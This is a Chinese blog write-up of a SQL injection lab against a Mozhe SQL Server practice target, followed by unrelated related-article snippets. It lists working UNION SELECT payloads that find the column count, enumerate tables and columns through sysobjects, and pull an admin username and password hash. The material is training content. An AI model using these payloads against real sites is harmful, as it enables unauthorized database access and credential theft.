1、sql server数据库进行sql注入

靶机取自:墨者sql server
1、判断数据库类型

抓包知sql server,所以注入语句跟MySQL有些区别

2、判断注入点

“http://219.153.49.228:42514/new_list.asp?id=2 ”,当id=2 and 1=1时显示正确,id=2 and 1=2时页面报错。

3、确定列数为 4
  • /new_list.asp?id=2 ORDER BY 1 成功
  • /new_list.asp?id=2 ORDER BY 2 成功
  • /new_list.asp?id=2 ORDER BY 3 失败
  • /new_list.asp?id=2 ORDER BY 4 成功
  • /new_list.asp?id=2 ORDER BY 5 失败
  • /new_list.asp?id=2 ORDER BY 6 失败
  • /new_list.asp?id=2 ORDER BY 7 失败

根据这些信息,ORDER BY 4 成功,而 ORDER BY 3 失败,这看起来很矛盾,因为一般来说,如果 ORDER BY 3 失败,ORDER BY 4 应该也会失败。

分析原因:

  1. SQL查询结构: 可能你查询的SQL语句涉及了多个表连接或者子查询,这会导致某些列存在而其他列不存在的情况。

  2. 自定义排序: 数据库的查询中可能存在自定义排序逻辑,某些列可能只在特定条件下可用。

***所以sql测试中,我们需要进行更多测试以确认列数

4、判断回显字段

这其实还要分两种情况:

1、回显的字段是字符型,还是整数型或其他

  1. 数据类型匹配

    • 数据库表中的列有特定的数据类型(如整数、字符串、日期等)。当注入的值与列的数据类型不匹配时,会导致SQL语法错误或类型错误。
    • 例如,如果某列期望一个字符串类型的数据,而你传入一个整数,数据库可能会报错。
  2. SQL查询构造

    • SQL注入构造的查询语句需要与数据库表的结构和列类型匹配。
    • 使用单引号包裹的值通常被解释为字符串类型,而不使用引号的值通常被解释为数字或列名。

2、注入成功是要在页面正常显示情况下回显字段,还是页面报错情况下才会回显字段

  • 正常页面:当提供的 id 值有效时,原始查询会返回一个正常的结果集,页面会显示该结果。如果 UNION ALL SELECT 注入成功,并且注入的列恰好在显示内容中,那么注入的结果可能会被id值结果覆盖。
  • 错误页面:当提供的 id 值无效时,原始查询失败,页面可能显示错误信息或没有结果。在这种情况下,注入的 UNION ALL SELECT 可能成为唯一的结果集,因此被显示出来。

思路

①先假设为全部字段为字符型,payload:http://219.153.49.228:46552/new_list.asp?id=2 union all select '1', '2', '3', '4' 。发现并没有回显

②id=-2时,页面报错,所以payload:http://219.153.49.228:46552/new_list.asp?id=-2 union all select '1', '2', '3', '4'。回显2、3字段

到这已经可以判断出2、3字段是字符型,并且页面有报错信息时才有回显,否则被内容覆盖

然后判断1、4字段类型,需要一个一个去除单引号,判断其回显情况

5、获取数据库信息

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,user,db_name(),4

6、获取数据表名manage

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4

7、获取列名:id、name

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),2) from sysobjects),4

以此类推,获取第3个字段,第4个字段

8、查出用户名和密码

用户名:admin_mz、加密密码:72e1bfc3f01b7583

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select username from manage),(select password from manage),4

9、md5解密

9、总结

1、判断数据类型是很重要的一点,影响后面的注入语句

2、确定列数时,要多测几组数据,从而分析判断列数,并不是遇到第一个报错就停止测试

3、正常网页(例如id=1,参数正确)没有注入回显时,试试报错情况(id=-1),注入回显有可能被正常返回数据覆盖

4、注入回显的字段有可能整形、字符、小数等,注意是否需要单引号

5、最好先全部统一会先字段类型,比如全部整形,挨个轮流改变为字符形

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/630202.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

BERT for Joint Intent Classification and Slot Filling 论文阅读

BERT for Joint Intent Classification and Slot Filling 论文阅读 Abstract1 Introduction2 Related work3 Proposed Approach3.1 BERT3.2 Joint Intent Classification and Slot Filling3.3 Conditional Random Field 4 Experiments and Analysis4.1 Data4.2 Training Detail…

【董晓算法】动态规划之背包DP问题(2024.5.11)

前言: 本系列是学习了董晓老师所讲的知识点做的笔记 董晓算法的个人空间-董晓算法个人主页-哔哩哔哩视频 (bilibili.com) 动态规划系列 【董晓算法】动态规划之线性DP问题-CSDN博客 01背包 步骤: 分析容量j与w[i]的关系,然后分析是否…

FreeRTOS消息队列queue.c文件详解

消息队列的作用 消息队列主要用来传递消息,可以在任务与任务之间、中断与任务之间传递消息。 传递消息是通过复制的形式,发送方发送时需要不断复制,接收方接收时也需要不断复制。虽然会有内存资源的浪费,但是可以保证安全。 假…

为什么descriptor和data分离可以内存高效率

以下为例,需要有前面的6个bytes开始,用来处理数据,一旦这6个bytes有了即可以处理了。 Descriptor和data是同样的,只有descriptor有了,即可以开始处理data了。所以data不需要停留更长时间。

函数递归练习

目录 1.分析下面选择题 2.实现求第n个斐波那契数 3.编写一个函数实现n的k次方,使用递归实现。 4.写一个递归函数DigitSum(n),输入一个非负整数,返回组成它的数字之和 5.递归方式实现打印一个整数的每一位 6.实现求n的阶乘 1.分析下面选择…

vs2022中添加头文件和声明

总结帖 数组存储 matlab中3维数组–>C中1维数组 数组转置函数 #include <stdio.h>// 转置二维数组 void transpose(int *src, int *dest, int rows, int cols) {for (int i 0; i < rows; i) {for (int j 0; j < cols; j) {dest[j * rows i] src[i * col…

解析C++ 网络输入输出缓冲区Buffer类的设计与实现(muduo库)

网络输入输出缓冲区&#xff08;Buffer&#xff09;是为了优化网络通信性能而设计的。通过将数据存储在缓冲区中&#xff0c;可以减少对网络的频繁访问&#xff0c;提高数据传输效率。缓冲区还可以帮助处理数据流中的突发性和短时延&#xff0c;使得数据的发送和接收更加稳定和…

最新版Ceph( Reef版本)块存储简单对接k8s(上集)

当前ceph 你的ceph集群上执行 1.创建名为k8s-rbd 的存储池 ceph osd pool create k8s-rbd 64 642.初始化 rbd pool init k8s-rbd3 创建k8s访问块设备的认证用户 ceph auth get-or-create client.kubernetes mon profile rbd osd profile rbd poolk8s-rbd部署 ceph-rbd-csi c…

C++map容器关联式容器

Cmap 1. 关联式容器 vector、list、deque、forward_list(C11)等STL容器&#xff0c;其底层为线性序列的数据结构&#xff0c;里面存储的是元素本身&#xff0c;这样的容器被统称为序列式容器。而map、set是一种关联式容器&#xff0c;关联式容器也是用来存储数据的&#xff0…

专“蜀”盛会!CGT Asia 2024 第六届亚洲细胞与基因治疗创新峰会(成都站)7月火热相邀

在细胞与基因治疗领域&#xff0c;我们正站在一个科技革命的风口上。中国的CGT市场预计将持续快速增长。根据相关分析&#xff0c;预计到2025年整体市场规模将达到25.9亿美元&#xff0c;显示出276%的复合年增长率。这一增长趋势预计将持续到2030年&#xff0c;细胞与基因治疗领…

【利用数组处理批量数据-谭浩强配套】(适合专升本、考研)

无偿分享学习资料&#xff0c;需要的小伙伴评论区或私信dd。。。 无偿分享学习资料&#xff0c;需要的小伙伴评论区或私信dd。。。 无偿分享学习资料&#xff0c;需要的小伙伴评论区或私信dd。。。 完整资料如下&#xff1a;纯干货、纯干货、纯干货&#xff01;&#xff01;…

电子邮箱是什么?付费电子邮箱和免费电子邮箱有什么区别?

注册电子邮箱前&#xff0c;有付费电子邮箱和免费电子邮箱两类选择。付费的电子邮箱和免费的电子邮箱有什么区别呢&#xff1f;区别主要在于存储空间、功能丰富度和售后服务等方面&#xff0c;本文将为您详细介绍。 一、电子邮箱是什么&#xff1f; 电子邮箱就是线上的邮局&a…

等保2.0|定级、备案、整改、测评流程

从个人数据泄露&#xff0c;到企业遭到黑客攻击&#xff0c;网络安全风险已经越发严重。随着互联网的不断发展&#xff0c;数字化经济的普及&#xff0c;信息安全等级保护既是行业标准&#xff0c;又是国家要求。如果企业不做等保&#xff0c;轻则罚款、重则停业。 我国等级保…

练习题(2024/5/15)

1有多少小于当前数字的数字 给你一个数组 nums&#xff0c;对于其中每个元素 nums[i]&#xff0c;请你统计数组中比它小的所有数字的数目。 换而言之&#xff0c;对于每个 nums[i] 你必须计算出有效的 j 的数量&#xff0c;其中 j 满足 j ! i 且 nums[j] < nums[i] 。 以…

【ARMv8/v9 系统寄存器 5 -- ARMv8 Cache 控制寄存器 SCTRL_EL1 使用详细介绍】

关于ARM Cache 详细学习推荐专栏&#xff1a; 【ARM Cache 专栏】 【ARM ACE Bus 与 Cache 专栏】 文章目录 ARMv8/v9 Cache 设置寄存器ARMv8 指令 Cache 使能函数测试代码 ARMv8/v9 Cache 设置寄存器 关于寄存器SCTRL_EL1 的详细介绍见文章&#xff1a;【ARMv8/v9 异常模型入…

Nacos+GateWay 搭建微服务架构

文章目录 1.当前项目架构分析1.请求多个模块的方式1.请求renren-fast模块开发环境生产环境 2.请求sunliving-commodity模块1.使用环境变量资源路径的方式2.开发环境 dev.env.js3.生产环境 prod.env.js 3.文件上传请求 sunliving-service模块1.请求后端接口&#xff08;开发环境…

Leetcode - 周赛397

目录 一&#xff0c;3146. 两个字符串的排列差 二&#xff0c;3147. 从魔法师身上吸取的最大能量 三&#xff0c;3148. 矩阵中的最大得分 四&#xff0c;3149. 找出分数最低的排列 一&#xff0c;3146. 两个字符串的排列差 本题就是求同一个字符在两个字符串中的下标之差的…

一物一码数字化营销进军调味品行业,五丰黎红“星厨俱乐部”火啦!

近日&#xff0c;由五丰黎红联合纳宝科技精心打造的小程序“星厨俱乐部”火啦&#xff01;一经上线就吸引了大量用户注册和参与&#xff0c;可以说取得了非常成功的市场反馈&#xff0c;那究竟是一个什么样的小程序&#xff0c;竟然有这么大的吸引力呢&#xff1f; 介绍小程序之…

C++ requires关键字简介

requires 是 C20 中引入的一个新关键字&#xff0c;用于在函数模板或类模板中声明所需的一组语义要求&#xff0c;它可以用来限制模板参数&#xff0c;类似于 typename 和 class 关键字。 requires关键字常与type_traits头文件下类型检查函数匹配使用&#xff0c;当requires后…

视频监控系统中,可变码率和固定码率对录像文件存储大小的影响,如何配置比较好?

目录 一、问题描述 二、视频监控的录像文件计算 &#xff08;一&#xff09;计算方法 &#xff08;二&#xff09;计算工具 三、原因分析 &#xff08;一&#xff09;检查配置 1、IPCa配置 2、IPCb配置 3、录像文件存储大小的理论值 &#xff08;二&#xff09;实际情…